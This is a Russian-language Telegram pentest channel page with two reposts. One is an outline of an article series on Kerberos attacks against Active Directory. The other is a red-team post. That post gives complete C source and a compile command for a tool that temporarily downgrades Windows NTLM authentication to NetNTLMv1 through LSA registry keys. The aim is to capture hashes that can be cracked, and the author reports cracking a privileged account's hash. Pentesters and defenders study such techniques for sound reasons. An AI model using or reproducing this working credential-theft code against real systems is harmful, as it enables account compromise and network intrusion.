Fsecurity | HH
Открыть в Telegram
👾 Канал про КБ и пентест Наш Discord: https://discord.gg/Eg8aDS7Hn7 ✉️ По сотрудничеству: @OxHaskar 🍩 Поддержать: https://www.donationalerts.com/r/xackapb
Больше2 063
Подписчики
+224 часа
-17 дней
-630 дней
Архив постов
2 063
Repost from infosec
🦮 Kerberos для специалиста по тестированию на проникновение.
• Cпециалисту по тестированию на проникновение инфраструктуры на базе Active Directory важно понимать общее устройство протокола Kerberos. Вот лишь несколько причин почему:
- Знание устройства протокола Kerberos необходимо для понимания ряда классических атак.
- Периодически появляются новые атаки, но прежде чем приступать к их эксплуатации, необходимо разобраться к каким последствиям они могут привести. Без знания Kerberos это порой затруднительно, либо вовсе невозможно.
- Личная чуйка, что если человек называет себя специалистом, то он должен обладать несколько более глубокими знаниями, чем название инструмента или кнопки, на которую надо нажать.
• В этом цикле статей автор попытался разобрать, как в теории устроен протокол Kerberos и какие атаки с его использованием можно осуществить на практике в Active Directory. Также будут приведены некоторые рекомендации по противодействию рассматриваемым атакам.
• Часть 1. Теория:
- Требования к протоколу Kerberos;
- Список терминов;
- Аутентификация с использованием Kerberos;
- Житейская аналогия;
- По верхам в общем виде;
- Разбор аутентификации в Kerberos согласно RFC;
- Алгоритм формирования ключа;
- Kerberos в Active Directory;
- Доменная аутентификация пользователя к рабочей станции в Active Directory.
• Часть 2. Классические атаки:
- Атака на подбор имен пользователей;
- Распыление пароля;
- AS-REQ roasting;
- AS-REP roasting;
- Kerberoasting;
- Pass-the-key / Overpass The Hash;
- Pass-the-Ticket (PtT) / Pass-the-Cache;
- PtT + AnySPN;
- Silver Ticket;
- Golden Ticket.
• Часть 3. Неограниченное делегирование:
- История и виды делегирования;
- Устройство неограниченного делегирования;
- Общая схема атаки при неограниченном делегировании;
- Поиск учетных записей с неограниченным делегированием;
- Атака “Извлечение из памяти сервера”;
- Атака с использованием учетной записи без сервера;
- Общая схема вариантов проведения атак;
- Рекомендации.
• Часть 4. Ограниченное делегирование:
- Ограниченное делегирование с использованием только Kerberos (S4U2Proxy);
- Ограниченное делегирование со сменой протокола (S4U2Self и S4U2Proxy);
- Классическая атака на ограниченное делегирование;
- Про другие атаки.
• Часть 5. Делегирование, ограниченное на основе ресурсов:
- Устройство ограниченного на основе ресурсов делегирования;
- Классическая атака на RBCD;
- Как получить учетную запись с SPN;
- Атака без контроля над учетной записью с SPN;
- Изменение msDS-AllowedToActOnBehalfOfOtherIdentity с помощью ACL;
- Изменение msDS-AllowedToActOnBehalfOfOtherIdentity через Relay-атаки.
• Часть 6. PKINIT:
- Криптография с открытым ключом;
- Электронная цифровая подпись;
- Центр сертификации;
- PKINIT в Kerberos Active Directory;
- Физическое хранение закрытых ключей;
- NTLM в PKINIT;
- Key Trust;
- PassTheCertificate;
- UnPAC the Hash;
- Shadow Credentials;
- Enterprises Key Admin.
#Kerberos #AD #Пентест
2 063
Repost from RedTeam brazzers
Совсем недавно Миша выложил инструмент LeakedWallpaper, а я уже успел применить его на проекте. Все отработало отлично! Но зачем нам нужен NetNTLMv2 хеш? Давайте подумаем, как можно улучшить технику, если на компе злющий EDR, но зато есть права local admin. С правами local admin вы можете с помощью манипуляции ключами реестра сделать downgrade NTLM аутентификации до NetNTLMv1 и получить уже хеш, который можно восстановить в NTLM хеш в независимости от сложности пароля пользователя. Для этой цели я написал небольшую программу, которая бэкапит текущие настройки реестра, затем делает downgrade и через 60 сек восстанавливает все обратно.
#include <stdio.h>
#include <windows.h>
#include <winreg.h>
#include <stdint.h>
#include <unistd.h> // для функции sleep
void GetRegKey(const char* path, const char* key, DWORD* oldValue) {
HKEY hKey;
DWORD value;
DWORD valueSize = sizeof(DWORD);
if (RegOpenKeyEx(HKEY_LOCAL_MACHINE, path, 0, KEY_READ, &hKey) == ERROR_SUCCESS) {
RegQueryValueEx(hKey, key, NULL, NULL, (LPBYTE)&value, &valueSize);
RegCloseKey(hKey);
*oldValue = value;
} else {
printf("Ошибка чтения ключа реестра.\n");
}
}
void SetRegKey(const char* path, const char* key, DWORD newValue) {
HKEY hKey;
if (RegOpenKeyEx(HKEY_LOCAL_MACHINE, path, 0, KEY_WRITE, &hKey) == ERROR_SUCCESS) {
RegSetValueEx(hKey, key, 0, REG_DWORD, (const BYTE*)&newValue, sizeof(DWORD));
RegCloseKey(hKey);
} else {
printf("Ошибка записи ключа реестра.\n");
}
}
void ExtendedNTLMDowngrade(DWORD* oldValue_LMCompatibilityLevel, DWORD* oldValue_NtlmMinClientSec, DWORD* oldValue_RestrictSendingNTLMTraffic) {
GetRegKey("SYSTEM\\CurrentControlSet\\Control\\Lsa", "LMCompatibilityLevel", oldValue_LMCompatibilityLevel);
SetRegKey("SYSTEM\\CurrentControlSet\\Control\\Lsa", "LMCompatibilityLevel", 2);
GetRegKey("SYSTEM\\CurrentControlSet\\Control\\Lsa\\MSV1_0", "NtlmMinClientSec", oldValue_NtlmMinClientSec);
SetRegKey("SYSTEM\\CurrentControlSet\\Control\\Lsa\\MSV1_0", "NtlmMinClientSec", 536870912);
GetRegKey("SYSTEM\\CurrentControlSet\\Control\\Lsa\\MSV1_0", "RestrictSendingNTLMTraffic", oldValue_RestrictSendingNTLMTraffic);
SetRegKey("SYSTEM\\CurrentControlSet\\Control\\Lsa\\MSV1_0", "RestrictSendingNTLMTraffic", 0);
}
void NTLMRestore(DWORD oldValue_LMCompatibilityLevel, DWORD oldValue_NtlmMinClientSec, DWORD oldValue_RestrictSendingNTLMTraffic) {
SetRegKey("SYSTEM\\CurrentControlSet\\Control\\Lsa", "LMCompatibilityLevel", oldValue_LMCompatibilityLevel);
SetRegKey("SYSTEM\\CurrentControlSet\\Control\\Lsa\\MSV1_0", "NtlmMinClientSec", oldValue_NtlmMinClientSec);
SetRegKey("SYSTEM\\CurrentControlSet\\Control\\Lsa\\MSV1_0", "RestrictSendingNTLMTraffic", oldValue_RestrictSendingNTLMTraffic);
}
int main() {
DWORD oldValue_LMCompatibilityLevel = 0;
DWORD oldValue_NtlmMinClientSec = 0;
DWORD oldValue_RestrictSendingNTLMTraffic = 0;
ExtendedNTLMDowngrade(&oldValue_LMCompatibilityLevel, &oldValue_NtlmMinClientSec, &oldValue_RestrictSendingNTLMTraffic);
// Задержка 60 секунд
sleep(60);
NTLMRestore(oldValue_LMCompatibilityLevel, oldValue_NtlmMinClientSec, oldValue_RestrictSendingNTLMTraffic);
return 0;
}
Компилируем так
x86_64-w64-mingw32-gcc -o ntlm.exe ntlm.c
В итоге мне удалось получить NetNTLMv1 хеш небрутабельного пароля привилегированной УЗ и восстановить NTLM хеш в течении 10 часов. Profit!
Ну или для совсем ленивых добавили флаг -downgrade прямо в инструмент LeakedWallpaper :)
P.S. Не забывайте добавлять привилегированные УЗ в Protected Users.